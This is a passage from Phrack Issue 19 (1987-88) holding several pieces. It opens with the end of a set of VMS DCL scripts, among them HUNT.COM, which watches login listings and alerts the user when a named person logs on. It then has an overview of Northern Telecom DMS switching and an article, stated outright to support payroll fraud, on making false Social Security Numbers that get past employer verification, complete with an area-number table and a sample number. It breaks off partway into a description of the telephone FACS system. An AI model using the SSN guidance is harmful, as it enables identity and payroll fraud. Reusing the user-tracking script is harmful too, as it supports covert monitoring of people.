$ cnode = f$parse(f$trnlnm("SYS$DISK"),,,"NODE") ‑ "::"

$ if (cnode .eqs. "") then cnode = hnode

$ cdir = f$environment("DEFAULT")

$ write sys$output " "

$ write sys$output " Home Node: ", hnode

$ write sys$output " Home Directory: ", hdir

$ if (cdir .eqs. hdir) .and. (cnode .eqs. hnode) then goto DISPSKIP $ write sys$output " Current Node: ", cnode

$ write sys$output " Current Directory: ", cdir

$ DISPSKIP:

$ write sys$output " "

$!

$ NODISPLAY:

$ ndir = f$environment("DEFAULT")

$ if .not. prompton then goto END

$!

$ if (f$length(ndir) .ge. 32) then goto TOOLONG

$!

$ SETPROMPT:

$ set prompt = 'ndir'" "

$!

$ END:

$ exit

$!

$ DIRERROR:

$ write sys$output " "

$ write sys$output " ", ndir, " Directory does not exist!" $ write sys$output " "

$ set default 'odir'

$ ndir = odir

$ goto NODISPLAY

$!

$! Prompt Problems‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$!

$ TOOLONG:

$! Prompt is too long. Get rid of everything to the left of [ or <. If that $! doesn't work, get rid of a subdirectory at a time. As a last resort, $! set the prompt back to $.

$!

$ left = f$location("[", ndir)

$ len_ndir = f$length(ndir)

$ if (left .ge. len_ndir) then left = f$location("<",ndir)

$ if (left .gt. 0) .and. (left .lt. len_ndir) ‑

then ndir = f$extract(left, len_ndir ‑ left, ndir)

$!

$ STILLTOOLONG:

$ if (f$length(ndir) .lt. 32) then goto SETPROMPT

$ left = f$location(".", ndir) + 1

$ len_ndir = f$length(ndir)

$ if left .ge. len_ndir then ndir = "$ "

$ if left .ne. len_ndir ‑

then ndir = "[*" + f$extract(left, len_ndir ‑ left, ndir) $ goto STILLTOOLONG

$!

$! Wildcard Directory‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$!

$ DIRSEARCH:

$ error_message = f$environment("MESSAGE")

$ on control_y then goto DIREND

$ on control_c then goto DIREND

$ set message/nosev/nofac/noid/notext

$ write sys$output " "

$ dispct = 1

$ dirct = 0

$ pauseflag = 1

$!

$ DIRLOOP:

$ userfile = f$search("*.dir")

$ if (userfile .eqs. "") .and. (dirct .ne. 0) then goto DIRMENU $ if (userfile .eqs. "") then goto DIRNONE

$ dispct = dispct + 1

$ dirct = dirct + 1

$ on severe then $ userprot = "No Priv"

$ userprot = f$file_attributes(userfile,"PRO")

$ if userprot .nes. "No Priv" then userprot = " "

$ userfile'dirct' = "[." + f$parse(userfile,,,"NAME") + "]"

$ userprot'dirct' = userprot

$ lengthflag = (f$length(userfile'dirct') .gt. 18)

$ if lengthflag then write sys$output ‑

f$fao(" !3SL !34AS ", dirct, userfile'dirct'), userprot'dirct' $ if (.not. lengthflag) then write sys$output f$fao(" !3SL !20AS ", dirct, userfile'dirct'), userprot'dirct' $ if (dispct .lt. 8) then goto DIRLOOP

$ dirct = dirct + 1

$ userfile'dirct' = ""

$ dirct = dirct + 1

$ userfile'dirct' = ""

$ if pauseflag then goto DIRMENU

$ dispct = 0

$ goto DIRLOOP

$!

$ DIRMENU:

$ write sys$output " "

$ if (userfile .eqs. "") then goto DIRMENU2

$ write sys$output " M More subdirectories"

$ if pauseflag then ‑

$ write sys$output " N More subdirectories/No pause"

$!

$ DIRMENU2:

$ write sys$output " R Re‑Display subdirectories"

$ write sys$output " Q Quit (default)"

$

$ DIRINQUIRE:

$ write sys$output " "

$ inquire dirchoice " Select One"

$ write sys$output " "

$!

$ if (dirchoice .gt. 0) .and. ‑

(dirchoice .le. dirct) then goto DIRCASEDIGIT

$ dirchoice = f$edit(dirchoice,"UPCASE")

$ if (dirchoice .eqs. "") .or. ‑

(dirchoice .eqs. "Q") then goto DIRCASEBLANK

$ if (dirchoice .eqs. "M") .or. ‑

(dirchoice .eqs. "N") then goto DIRCASEMORE

$ if (dirchoice .eqs. "R") then goto DIRCASERED

$!

$ DIRCASERROR:

$ if (dirct .eq. 1) then write sys$output ‑

" Select 1 to change to the ", userfile1, " subdirectory. " $ revdirct = dirct

$ if (dispct .eq. 8) then revdirct = revdirct ‑ 2

$ if (dirct .gt. 1) then write sys$output ‑

" Valid subdirectory selections are 1 through ", revdirct, " (Octal)." $ goto DIRINQUIRE

$!

$ DIRCASEDIGIT:

$ if (userfile'dirchoice' .eqs. "") then goto DIRCASERROR

$ ndir = userfile'dirchoice'

$ goto DIREND

$!

$ DIRCASEBLANK:

$ write sys$output " Subdirectory not changed."

$ write sys$output " "

$ goto DIREND

$!

$ DIRCASEMORE:

$ dispct = 0

$ if (dirchoice .eqs. "N") then pauseflag = 0

$ if (userfile .nes. "") then goto DIRLOOP

$ write sys$output " No more subdirectories to display."

$ goto DIRINQUIRE

$!

$ DIRCASERED:

$ dispct = 1

$ DISPLOOP:

$ if (userfile'dispct' .eqs "") then goto DISPDONT

$ lengthflag = (f$length(userfile'dispct') .gt. 18)

$ if lengthflag then write sys$output ‑

f$fao(" !3SL !34AS ", dispct, userfile'dispct'), userprot'dispct' $ if (.not. lengthflag) then write sys$output f$fao(" !3SL !20AS ", dispct, userfile'dispct'), userprot'dispct' $ DISPDONT:

$ dispct = dispct + 1

$ if (dispct .le. dirct) then goto DISPLOOP

$ goto DIRMENU

$!

$ DIRNONE:

$ write sys$output "No subdirectories to choose, or no directory privileges." $ write sys$output " "

$ goto DIREND

$!

$ DIREND:

$ set message 'error_message'

$ on control_y then exit

$ on control_c then exit

$ if (ndir .eqs. "*") then goto DISPLAY

$ goto PARSE

$!

$!‑Help‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$!

$ HELP:

$ type sys$input

CD.COM Version 6 VMS Change Directory Command

Usage: CD command/directory

CD Display home directory, CD .. Change directory to the current directory, node. CD [‑] dir above current dir.

CD \ Change directory to your CD ..sub Change directory to a CD HOME SYS$LOGIN directory. CD [‑.sub] "sideways" subdirectory.

CD dir Change directory to the CD * Display/select the CD [dir] [dir] directory. available subdirectories.

CD .sub Change directory to the CD . Reset current directory. CD [.sub] [.sub] subdirectory. CD ? Display CD instructions.

CD :== @SYS$LOGIN:CD.COM DEFINE SYS$PROMPT "ON" To make CD available from To have the VMS $ prompt any directory you change to. display the current directory.

By The Mentor

$ goto END

Code for HUNT.COM

>>>>>>>>>>

$ ! HUNT.COM

$ ! By The Mentor

$ ! Updated by: The Mad Mexican

$ ! Usage: SPAWN/NOWAIT @HUNT

$ !

$ !Searches SHOW USER output for a specified user, strobes at given $ !intervals considering the severity of the hunt at which time output $ !is generated and process terminates. If user loggs in then output $ !is generated and process terminates. May check both nodes if a set $ !host is called. Also supports a file with the names to be hunted for. $ !

$ ! *** NOTE *** This is set up for a two‑node system with NYSSA $ ! being the default node and TEGAN being the alternate $ ! node (Circuit Breaker and some others will recognize $ ! the nodes as my 'home' ones.) You will need to $ ! slightly modify the code to reflect the nodename(s) $ ! of whatever system you are using...

$ !

$ !

$ !

$ say="write sys$output"

$ on control then goto door

$ monitored_node = "''NODE'"

$ say "Monitoring node ''monitored_node'. <HIT RETURN>"

$ severity_of_hunt:

$ inquire selection "Severity of HUNT, 1 being the most urgent: 1‑2‑3" $ if selection.ge.2 then goto selection_2

$ delay="wait 00:00:20"

$ loop_count=40

$ goto begin_process

$ selection_2:

$ if selection.eq.3 then goto selection_3

$ delay="wait 00:01:00"

$ loop_count=8

$ goto begin_process

$ if selection.gt.3 then goto severity_of_hunt

$ delay="wait 00:02:30"

$ loop_count=20

$ begin_process:

$ if monitored_node.eqs."TEGAN" then goto search_file_tegan

$ if f$search("nyssa.dat9") .nes. "" then goto file_exist

$ goto continue

$ search_file_tegan:

$ if f$search("tegan.dat9") .nes. "" then goto file_exist

$ continue:

$ say "hit <RETURN>"

$ inquire/nopunctuate choice9 "Who are we hunting for? "

$ if choice9 .eqs. "" then exit

$ count = 0

$ bell_sound[0,8]=%X07

$ top:

$ sho user/output='monitored_node'.dat9

$ purge 'monitored_node'.dat9

$ set message/nofac/noid/notext/nosev

$ search 'monitored_node'.dat9 'choice9'

$ a=$severity

$ if a .eqs. "1" then goto found_user

$ set message 'temp_msg9'

$ count = count + 1

$ if count .ge. 'loop_count' then goto give_up

$ delay

$ goto top

$ file_exist:

$ say "ERROR ‑ Could not create temporary data file."

$ say "Please delete or rename ''NODE'.DAT9"

$ exit

$ found_user:

$ say bell_sound

$ say "''choice9' is now online on node ''monitored_node'."

$ say bell_sound

$ goto door

$ give_up:

$ say " "

$ say "''choice9' has not yet logged in on ''monitored_node'."

$ door:

$ say bell_sound

$ say "HUNT routine has terminated on node ''monitored_node'."

$ delete/noconfirm/nolog 'monitored_node'.dat9;*

$ set message 'temp_msg9'

$ exit

Code for ALARM.COM

>>>>>>>>>>

$ ! ALARM.COM

$ ! By The Mentor

$ ! Usage: SPAWN/NOWAIT @ALARM

$ ! Strobes f$time() every 5 seconds until specified time

$ ! is met at which time output is generated and process terminates. $ CLR = " "

$ count = 0

$ PID = F$PID(CONTEXT)

$ TERMINAL = F$GETJPI(''PID',"TERMINAL")

$ DEVICE = F$GETDVI(TERMINAL,"DEVTYPE")

$ IF DEVICE .EQS. 110 THEN CLR = "[H[2J" ! VT220

$ IF DEVICE .EQS. 98 THEN CLR = "[H[2J" ! VT102

$ IF DEVICE .EQS. 96 THEN CLR = "[H[2J" ! VT100

$ IF DEVICE .EQS. 64 THEN CLR = "HJ" ! VT52

$ CLS = "WRITE SYS$OUTPUT CLR"

$ DATE = F$CVTIME(F$TIME())

$ NODE = F$GETSYI("NODENAME")

$ bell[0,8]=%X07

$ ON CONTROL THEN GOTO DOOR

$ say = "write sys$output"

$ say f$cvtime(,,"TIME")

$ say " "

$ say "Hit (RETURN)"

$ say " "

$ inquire/nopunctuate alarm "What time shall I ring you ‑ "

$ a_hour = f$element(0,":",alarm)

$ a_minute = f$element(1,":",alarm)

$ a_second = f$element(2,":",alarm)

$ time_check:

$ hour = f$element(0,":",f$cvtime(,,"TIME"))

$ minute = f$element(1,":",f$cvtime(,,"TIME"))

$ second = f$element(2,":",f$element(0,".",f$cvtime(,,"TIME")))

$ if hour .ge. a_hour .and. minute .ge. a_minute .and. second .ge. a_second then goto top

$ if hour .ge. a_hour .and. minute .ge. a_minute then goto top

$ wait 00:00:05

$ goto time_check

$ top:

$ count = count + 1

$ cls

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " A L A R M O N"

$ say bell

$ say " ",f$element(0,".",f$cvtime(,,"TIME"))

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ say " "

$ wait 00:00:01.50

$ if count .le. "6" then goto top

$ door:

$ say "ALARM OFF"

$ say f$element(0,".",f$cvtime(,,"TIME"))

$ say bell

$ exit

Code for CGO.COM

>>>>>>>>>

$! CGO.COM

$! By The Mentor

$! One‑Line compile/link/execute of C programs

$! Usage: CGO :== @CGO.COM

$! CGO filename

$!

$if p1 .nes. "" then c_filename :== 'p1

$ write sys$output "Compiling:"

$ cc 'c_filename/list='c_filename.lst

$ write sys$output "Linking:"

$ link 'c_filename ,options_file/opt

$ write sys$output "Running:"

$ assign/user sys$command sys$input

$ run 'c_filename

$ exit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, that's it. I hope to be back in the next issue with some other programs. And remember, any programmers out there, get in touch with me!

The Mentor

Thanksgiving 1987

Digital Multiplexing Systems (Part 2)

==Phrack Inc.==

Volume Two, Issue 19, Phile #3 of 8

_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_

|_|

|_| Understanding the Digital Multiplexing System |_|

|_| (Part2) |_|

|_|

|_| by |_|

|_|

|_| Control C |_|

|_|

|_| &

|_|

|_| The Tribunal Of Knowledge |_|

|_|_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_

Well some of you may recall my file on Digital Multiplexing in Phrack 10. Well this is part 2 that was promised about a year and a half ago. I was finished with this file in May of 87 and I just decided to release it now. Here it is!

DMS switches were first introduced in 1979, since then it has been modified to interface numerous types of switches. DMS has the ability to interface with SP‑1, #5 XBar, 1ESS, 2ESS, 3ESS, 4ESS, NX1D, NX1E, TSD, SXS, ETS4, NO. 1 EAC, NO. 2 EAX, NO. 3 EAX, TSPS, CAMA/3CL boards, Stromberg Carlson Turret of ONI and Visual Indicators, Modified North Electric TSD for ONI, Stomberg Carlson (CAMA operator Position ‑ ONI/ANI), AE #31 Switchboard, Co‑located NT/AE switchboard I/C, O/G, UDC data poller of OM, DACS (Directory Assistance Charging System), NT #144 LTD, WECO #14 LTD, WECO #16 LTD, CALRS (Centralized Automated Loop Reporting System), Badger 612A, AE #1 and #21 LTD, AE #30, SC #14 LTD, Lordel MITS70 line Test System, Porta System Line Test Unit, Pulsar II IMTS, Teradyne loop test unit, and the WECO MLT 1 (Mechanized Loop Testing System).

Common Channel Interoffice Signaling

Common Channel Interoffice Signaling (CCIS) is a way of signaling and a way of implementing network level services. CCIS provides reliable, crystal clear data signaling links between the network and the switching offices. The CCIS signaling method uses transmission equipment that is separate from voice trunks.

Common Channel Interoffice Signaling No. 6

The basis for the CCIS system is the International Consultative Committee on Telephone and Telegraph (CCITT) No. 6 international standard, which is brought to it's fullest capacity for use in the Stored Program Control (SPC) network of AT&T.

The CCIS6 network contains a bunch of signaling regions, each having a pair of interconnected Signal Transfer Points (STP). The switching systems put into CCIS6 then connecting to STPs are called Serving Offices (SO).

Band Signaling (CCIS‑BS) is used on trunk signaling for intertoll‑type trunks using the CCIS network.

Direct Signaling (CCIS‑DS) is used for signaling between SPC switching machines and a Network Control Point (NCP). At the present time CCIS6 can handle Enhanced INWATS Originating Screening Office (OSO), Calling Card Validation (CCV), Mechanized Calling Card Service (MCCS), and Billed Number Screening (BNS). CCIS6 is available with DMS‑100/200, DMS‑200, and DMS‑100/200 or DMS‑200 with TOPS.

CCIS6 Diagram:

NSB ST

‑‑‑‑‑‑‑‑‑‑‑‑

DTC | | |

‑ ‑ ‑ DS30 | IPML | DS30 | ‑ ‑ ‑ | || | |

‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑|‑ ‑ ‑ ‑ ‑ ‑ |‑‑‑‑‑

Digital ‑ ‑ ‑ | | | ‑ ‑

Trunks | | |

| |

| |

DTC | | TM |

DIG ‑ ‑ ‑ DS30 | NUC | DS30 ‑ ‑ ‑ ‑‑‑‑‑

‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑|‑ ‑ ‑ ‑ ‑ ‑ |‑‑‑‑‑

^ ‑ ‑ ‑ |Network | ‑ ‑ ‑ ‑‑‑‑‑

CCIS \ ‑‑‑‑‑‑‑‑‑‑‑‑ Modem

Signaling \ |

‑ ‑ ‑ ‑‑‑‑‑

AN Links‑‑| | | CCC |

‑ ‑ ‑ ‑‑‑‑‑

Channel

Bank

Acronyms:

DIG ‑ Digital

AN ‑ Analog

DTC ‑ Digital Trunk Controller

MSB ‑ Message Switch Buffer

ST ‑ Signaling Terminal

TM ‑ Trunk Module

NUC ‑ Nailed‑Up Connection

IPML ‑ Inter‑Peripheral Message Link

Common Channel Interoffice Signaling No. 7

Common Channel Signaling (CCS) No. 7 or CCIS7 is a CCS system bases on CCITT No. 7. CCIS7/CCS7 on the DMS switch consists of two parts the Message Transfer Part (MTP) and the Interim Telephone user Part. They are compatible with DMS‑100, DMS‑200, DMS‑100/200, and DMS‑100/DMS‑100/200 with TOPS.

CCIS7 can't tell the difference between banded and direct signaling. CCIS7 uses Destination/Origination Point Codes (DPC/OPC) to rout back to the switch.

CCIS7 can handle Automatic Calling Card Service (ACCS), Enhanced INWATS, Local Area Signaling Services, and Direct Service Dialing Capabilities.

Equal Access

The DMS‑200 Access Tandem (AT) gives a traffic concentration and distribution function for interLATA traffic originating and a distribution function for interLATA traffic origination or terminating inside a Local Access and Transport Area (LATA). This gives the interLATA Carrier (IC) access to more that one end office inside the LATA. It can handle InterLata Carrier access codes (10xxx), 10xxx and 950‑yxxx dialing, Automatic Number Identification (ANI) on all calls, answer supervision, equal access Automatic Message Accounting (AMA) for both originating and terminating calls, and operator service signaling.

The DMS‑100 EA gives direct and tandem switched access service inside the LATA for originating and terminating to interLATA Carriers. It is available in the following three ways:

Equal Access End Office (EAEO)

DMS‑100 Equal Access End Office (EAEO) gives a direct interconnection to interLATA Carriers (IC) and international Carriers (INCs) Point of Presence (POP) inside the LATA.

Access Tandem with Equal Access End Office

The DMS‑200 Access Tandem (AT) when used with equal access end office (EAEO) lets trunk tandem interconnect to ICs/INCs POP inside the LATA.

The connection of the Equal Access End Office (EAEO) to an IC/INC through the DMS‑200 Access Tandem (AT) uses what is called two‑stage overlap output pulsing which makes the time it takes to set up a call quicker. The AT uses the digits OZZ + XXX out pulsed in the first stage to identify the IC/INC dialed and to pick and outgoing trunk. Then a connection is established from the IC/INC to the EAEO through the AT. The second stage digits, consist of ANI and the called numbers are passed through the DMS‑ 200 AT at the IC/INC.

A AMA terminating record in AT&T format is produced by the DMS‑200 for all the EAEOs. A per call terminating AMA record is made for calls that get to the stage where the trunk from the IC/INC has been seized and a "wink" has been returned by the DMS‑200 AT.

Access Tandem with a Non‑Equal Access End Office

DMS‑200 AT using a non‑equal access end office gives trunk tandem connection to an IC/INC POP within the LATA. To set up a call, connection of Feature Group B (FGB) or Feature Group C (FGC) End Office to an IC/INC through the DMS‑200 AT, uses the standard Bell Central Automatic Message Accounting (CAMA) signaling. The Access Tandem uses the XXX digits of the access code 950‑YXXX out pulsed from the FGB end office to identify the IC/INC and to connect to a outgoing trunk.

Mechanized Calling Card Service (MCCS)

The fraudulent use of calling cards, third number and collect calls and the increasing movement to automate current operator services has directly led to the implantation of the Mechanized Calling Card Service (MCCS) to DMS‑200/TOPS and to the remote and host Operator Centralization (OC).

MCCS uses CCIS to relay queries and responses to and from the DMS‑200/TOPS. Operator handled calling card calls and the direct entry by subscribers of Calling Cards by DTMF (Touch‑Tones) telephones are given special provisions by the MCCS. Both, the operator handling and the direct entry of calling card calls, are decreasing the size operators.

Billed Number Screening (BNS) gives an enhancement to the operator‑handled collect and third‑number billing by using CCIS to screen a number at the billing validation data base for billing restrictions (i.e. the third number is a fortress). This feature naturally will reduce fraudulent use of the collect call feature.

Common Channel Interoffice Signalling‑Direct Signalling (CCIS‑DS), which is the feature that the MCCS is designed around, is used to transmit messages to and from many possible Billing Validation Centers (BVCs). Messages transmitted to the BVC about MCCS include the billing number and the Personal Identification Number (PIN). In BNS the messages have the special billing number (collect or third number). The return messages from the BVC include validity (of the number), billing restrictions (if any), and the Revenue Accounting Office (RAO) code.

Auxiliary Operator Services System

The DMS‑200 Auxiliary Operator Services System (AOSS) is used primarily for Directory Assistance and the intercept needs that are not included in the TOPS package. The AOSS is similar to TOPS and co‑exist with TOPS on the DMS‑200 Toll system.

Major benefits of the AOSS include Directory Assistance is provided with a modern environment, AOSS position administrative activities are performed by the DMS‑200 toll maintenance system, trunking savings are achieved by combining trunking for 1+ and 0+, and Directory Assistance traffic, DA services are managed by using TOPS methods, Creation of a built‑in training system, which does not require additional training equipment and reduces training costs.

Integrated Business Network

The Integrated Business Network (IBN) is a revenue‑producing concept designed for small and big businesses to offer modernized PBX and Centrex features. The Operating Company can use the IBN to maintain and enhance its competitive position on a operational DMS‑100 and DMS 100/200 switches. While using the DMS‑100 switch, the Operating Company can support varying business features along with existing local/toll traffic.

IBN services can be introduced to a Centrex‑Central Office (CO) or a Centrex‑Customer Unit (CCU) by additional software modules and minor hardware enhancements.

Current IBN features include: A growing system that can handle 30,000 lines, networking capabilities, city wide service for DMS‑ 100 switch and remotes for any one customer station Message Detail Recording (SMDR), which gives IBN customers call records. The records can be used for system analysis and control and station charge‑back. SMDR can use LAMA records, if the IBN host has LAMA equipment, Centralized attendant maintenance and administration functions and Direct Inward Dialing (DID).

Electronic Switched Network (ESN)

The Electronic Switched Network is designed to meet the telecommunication needs of large multi‑location corporations. The ESN is made up of a SL‑1 or SL‑100 Digital Business Communications System with networking features or a DMS‑100 IBN host. The SL‑1 can handle from 30‑5000 lines. The SL‑100 and the DMS‑100 IBN hosts can hold from a few thousands to 30,000 lines.

A DMS‑100 IBN or SL‑100 can remotely serve many locations from the host site. This is done by a connection through digital transmission facilities which are set up at remote modules at the subscriber's premises.

Specialized Common Carrier Service (SCCS)

The DMS‑250 Specialized Common Carrier Service (SCCS) provides the capability of Analog to Digital (A/D) and Digital to Analog (A/D) conversions which are necessary with analog circuits. The DMS‑250 can also switch voice and data circuits.

The DMS‑250 takes either analog or digitally encoded info and by using time slot interchange, switches it from any input port to a temporary addressed and connected exit port. The info may or may not be converted back to analog.

Normal Private Telecommunications Network Diagram:

‑‑‑‑‑ ‑‑‑‑‑‑

[Phone]‑‑| SnS | | SL‑1 |‑[Phone]

| PBX | | PBX |

‑‑‑‑‑ ‑‑‑‑‑‑

| |DOD/DID DOD/DID| |

| ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ |

|Tie | | Tie|

|Trunk ‑‑‑‑‑‑‑‑‑ Trunk|

‑‑‑‑‑‑| Class‑5 |‑‑‑‑‑‑

‑‑‑‑| Centrex |‑‑‑‑

| ‑‑‑‑‑‑‑‑‑ |

| |

| |

| |

‑‑‑‑‑ Tie Trunk ‑‑‑‑‑‑‑‑‑

| SnS | ‑‑‑‑‑‑‑‑‑‑| Class‑5 |

| PBX | | Centrex |

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

| |

| |

| |

| |

‑‑‑‑‑‑‑ ‑‑‑‑‑‑

[Phone]‑| Small | | SL‑1 |‑[Phone]

| PBX | | |

‑‑‑‑‑‑‑ ‑‑‑‑‑

Cellular Mobile Radio Service

A cellular system consists of two main parts a cellular switch and cell site equipment.

Cellular Switching Systems

A cellular switch performs three main functions audio switching, cell site control, and system administration.

The DMS switches provide three basic implementations for cellular switching Stand‑alone, Combined, and Remote.

Stand‑alone switching is done by a Mobile Telephone Exchange (MTX) which is interfaced with one or more class 5 end offices. The connection is made by DID/DOD trunks. Depending on the needs of the area, the MTX can be divided as follows: MTX which serves urban areas, MTXC which handles suburban areas, and MTXM which is used for rural areas.

Combined switching is incorporated into a DMS‑100 by some hardware additions and cellular software. Combined switching is designed to give a easy, cost‑effective way to install cellular services to an existing host.

Remote Switching is done by combining Remote Switching Center (RSC) with a Cell Site Controller (CSC). This combination is hosted by either a stand‑alone or a combined switch. Remote Switching is designed for serving suburban centers, remote areas, or a small community and it gives extra flexibility for a growing system.

All of these cellular switches have the ability to balance the workload among various cell sites. For example, if one site's workload reaches the programmable level of congestion, calls would be routed to nearby sites that can handle the extra calls.

Cell Site Equipment

Cell site equipment consists of a CSC and radio equipment. The CSC is controlled by the cellular switch and it controls radio equipment and maintenance tasks. The CSC will work on any MTX cellular switch because of the Remote Cluster Controller (RCC).

The radio equipment consists of self‑contained Radio Channel Units (RCU), antennas, transmitter multi‑couplers and receiver combiners.

By different program software a RCU can perform voice, control locating, and test functions. The self contained nature allows the RCU be remotely located to the CSC. A RCU has built‑in circuitry for extended testing of the radio part of the system.

‑‑‑‑‑‑‑‑

[phone]‑‑| Remote | | SL‑1 PBX |‑‑[phone]

| Module | | ESN Main |

‑‑‑‑‑‑‑‑

|

| DS‑1 Facility | DS‑1 Facility

| ‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑> | Local Class 5| <‑‑‑‑‑‑‑‑[phone]‑‑‑‑‑‑‑‑‑| DMS‑100 |

‑‑‑‑| IBN/ESN |‑‑‑‑‑‑‑‑‑‑‑‑‑

2W Loop MFIDP | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | ESN Trunk Group

or DS‑1 | | | or DS‑1

| ‑‑‑‑‑

| | CSC | | Local Class 5 |

‑‑‑‑‑‑‑‑ ‑‑‑‑‑ DMS‑100 |

| SL‑100 | <‑‑‑ DS‑1 ‑‑‑‑> | IBN/ESN |

‑‑‑‑‑‑‑‑ Facility Ph ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

|

| DS‑1 Facility | DS‑1 Facility

|

‑‑‑‑‑‑‑‑

[phone]‑‑| Remote | | SL‑1 PBX |‑‑[phone] | Module | | ESN Main |

‑‑‑‑‑‑‑‑

<End of File>

<5‑23‑87>

If you have any questions contact me or any other member of the T0K!

Control C

!T0K! (1987)

Social Security Number Formatting

==Phrack Inc.==

Volume Two, Issue 19, Phile #4 of 8

Social Security Number Formatting

=================================

Shooting Shark 21 June 88

Certain types of computer‑related fraud, such as creating dummy entries in payroll databases, require the creation of a false Social Security Number (SS#). Many employers attempt to detect "ghost" SS#s by running a verification program on them. In this article I will show how to defeat verification by creating a legitimate‑looking SS#.

First, some general rules to follow:

o The middle two digits of a SS# can be odd or even if issued after 1965. All numbers issued before 1965 that have middle digits of 10 or above should be even.

o So far, no SS#s have been issued with a first digit of 8 or 9. Very few numbers above 595 have been issued, so use caution. 700‑729 were issued by the Railroad Retirement Agency a long time ago, and thus would belong to older people. No numbers in the 596‑626 have been assigned yet (as far as I know), but 596‑599 has been reserved for Puerto Rico, 600‑601 for Arizona, and 602‑626 has been reserved for California.

The next step is required only if it is necessary that the place of issuance (and thus, probably, state of birth or residence) match the SS#. In this case, refer to the following table:

First Three Digits Area

================== ====

000 Foreign‑Exchange, visitor, etc. (many college students will have these)

001‑003 New Hampshire 004‑007 Maine 008‑009 Vermont 010‑034 Massachusetts 035‑039 Rhode Island 040‑049 Connecticut 050‑134 New York 135‑158 New Jersey 159‑211 Pennsylvania 212‑220 Maryland 221‑222 Delaware 223‑231 Virginia

232‑236 (EXCEPT

SS#s starting with

"232 30"...) West Virginia

232 30 North Carolina

237‑246 North Carolina 247‑251 South Carolina 252‑260 Georgia 261‑267 Florida 589‑595 Florida 268‑302 Ohio 303‑317 Indiana 318‑361 Illinois 362‑386 Michigan 387‑399 Wisconsin 400‑407 Kentucky 408‑415 Tennessee 416‑424 Alabama 425‑428 Mississippi 587‑588 Mississippi 429‑432 Arkansas 433‑439 Louisiana 440‑448 Oklahoma 449‑467 Texas 468‑477 Minnesota 478‑485 Iowa 486‑500 Missouri 501‑502 North Dakota 503‑504 South Dakota 505‑508 Nebraska 509‑515 Kansas 516‑517 Montana 518‑519 Idaho 520 Wyoming 521‑524 Colorado 525 New Mexico 585 New Mexico 526‑527 Arizona 528‑529 Utah

530 Nevada 531‑539 Washington 540‑544 Oregon 545‑573 California 574 Alaska 575‑576 Hawaii 577‑579 Washington, D.C. 580 Virgin Islands 580‑584 Puerto Rico

586 Guam, American Samoa, and Philippine Islands

700‑729 Railroad Retirement

An example: If you were Stan Cisneros living in Burlingame, California, and you were born in 1970, your SS# might be 546‑28‑4197.

Facility Assignment & Control Systems

==Phrack Inc.==

Volume Two, Issue 19, Phile #5 of 8

Facility Assignment and Control System

Written by Phantom Phreaker

INTRODUCTION

‑‑‑‑‑‑‑‑‑‑‑‑

The Facility Assignment and Control System (FACS) is an integrated network component system that most phreaks and hackers know of from an old file named 'FACS FACTS' written by Sharp Razor. While this file provides an accurate description of the FACS system, it is lacking in detail and length. This file will provide accurate information about the FACS system and is intended for the true telecom enthusiast (i.e. this article is not for people who use codes and call it 'phreaking' or for people who think that phreaking is just 'making free phone calls'). Hopefully the phreaks and hackers of the world who want to know how things work in the telephone network will benefit from this information. Any malicious use of this information is strictly prohibited. The contents of this file are for informational and educational purposes only.

GENERAL DESCRIPTION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FACS can be described as a full‑featured outside plant and central office facilities assignment system. For the people who are unfamiliar with these terms, the outside plant is the portion of the telephone network that runs from a telco office (such as a class five end office (EO)) to the subscriber, including manholes and distribution/access points such as Serving Area Interfaces (SAI) which are large, double‑door outdoor equipment cabinets which allow the repair craft to repair, test, and access a multitude of service lines in that area.

FACS is made up of five component systems, or sub‑systems, and some of these are also used as stand‑alone systems (i.e. in an area that does not use FACS, COSMOS can be thought of as a stand‑alone system).

The component systems are:

PREMIS ‑ PREmise Information System

SOAC ‑ Service Order Analysis & Control

LFACS ‑ Loop Facility Assignment and Control System

COSMOS ‑ COmputer System for Main Frame OperationS

WM ‑ Work Manager

FACS is used by many departments and work centers in the BOC network. A general example of telco interaction will be included later in the article.

PREMIS

‑‑‑‑‑‑

PREMIS supports the customer negotiation (i.e. while a customer talks with a BOC service rep, PREMIS is the computer system the rep has access to) and service order (SO) preparation process (a SO is basically a request for service). PREMIS is a computer‑based information storage and retrieval system designed to support the Residence/Residential Service Center (RSC), and in some cases, the Business Service Center (BSC). The RSC is the center that residence customers deal with, and the BSC is the center that business customers deal with.

PREMIS provides fast easy access to customer address verification for numbered and unnumbered addresses (information is stored by telephone number not address), telephone service status at an address (whether the phone is in service, disconnected, pending connect, pending disconnect, disconnected due to non‑payment, etc.), telephone number assignment for customers (PREMIS can generate a list of available telephone numbers in a given exchange and the available TNs come from COSMOS) and facility assignment data for outward orders.

The following PREMIS features are available to the service reps and have special significance to the LAC:

Customer Negotiation:

Provides customer service address check against a mechanized Street Address Guide (SAG).

Provides customer status check to a mechanized facility address file which identifies potential Interfering Station (IS) conditions.

Provides new telephone number assignments through an available TN (Telephone Number) file.

Service Order Preparation:

Provides SAG data.

Provides correct address spelling.

